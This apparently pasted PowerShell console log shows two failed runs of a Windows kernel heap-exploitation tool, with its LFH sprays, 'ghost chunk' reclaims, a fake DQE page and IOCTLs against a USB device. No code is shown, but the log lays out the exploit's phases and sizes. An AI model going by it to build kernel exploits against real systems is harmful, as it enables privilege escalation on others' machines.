Pastein: PS C:\Users\Admin> .\test1.exe === Ghost Chunk 0x100 bucket (VS lookaside) === IoSB=0x100 NpFr=0x100 ghost_free=0x210 ghost_pipe=0x210 [+] \\?\usb#vid_0525&pid

Загрузка данных
PS C:\Users\Admin> .\test1.exe
=== Ghost Chunk 0x100 bucket (VS lookaside) ===
IoSB=0x100 NpFr=0x100 ghost_free=0x210 ghost_pipe=0x210

[+] \\?\usb#vid_0525&pid_a4a8#x#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
[warm] lookaside 0x210: round 1 (0x1000 alloc/free)...
[warm] lookaside 0x210: round 2...
[warm] lookaside 0x210 activated (~3s)
[*] Fake DQE page at 0000020EA20C0000

========== Attempt 1/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 2/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 3/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 4/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 5/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 6/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 7/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 8/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 9/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 10/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...
[-] Failed after 10 attempts
PS C:\Users\Admin> .\test1.exe
=== Ghost Chunk 0x100 bucket (VS lookaside) ===
IoSB=0x100 NpFr=0x100 ghost_free=0x210 ghost_pipe=0x210

[+] \\?\usb#vid_0525&pid_a4a8#x#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
[warm] lookaside 0x210: round 1 (0x1000 alloc/free)...
[warm] lookaside 0x210: round 2...
[warm] lookaside 0x210 activated (~3s)
[*] Fake DQE page at 0000021AB1400000

========== Attempt 1/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 2/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 3/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 4/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 5/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 6/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 7/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 8/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 9/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...

========== Attempt 10/10 ==========
-- Phase 1: LFH spray --
[spray1] 24576/24576 (data=0xc0 block=0x100)
[spray2] 16384/16384 (data=0xc0 block=0x100)
-- Phase 1.5: Pre-fill --
[prefill] 65536/65536 (data=0xc0 block=0x100)
-- Phase 2+3: 1 holes + IOCTLs (single-free) --
-- Phase 4: Respray --
[respray] 2048/2048 (data=0xc0 block=0x100)
-- Phase 5: Free spray --
[spray2] 16384 freed
[spray1] 24575 freed
[prefill] 65536 freed
-- Phase 6: Reclaim 0x210 --
[ghost] 64/64
-- Phase 7: Overlap check --
[*] No overlap тАФ abandoning round...
[-] Failed after 10 attempts
PS C:\Users\Admin>
Больше возможностей при регистрации:
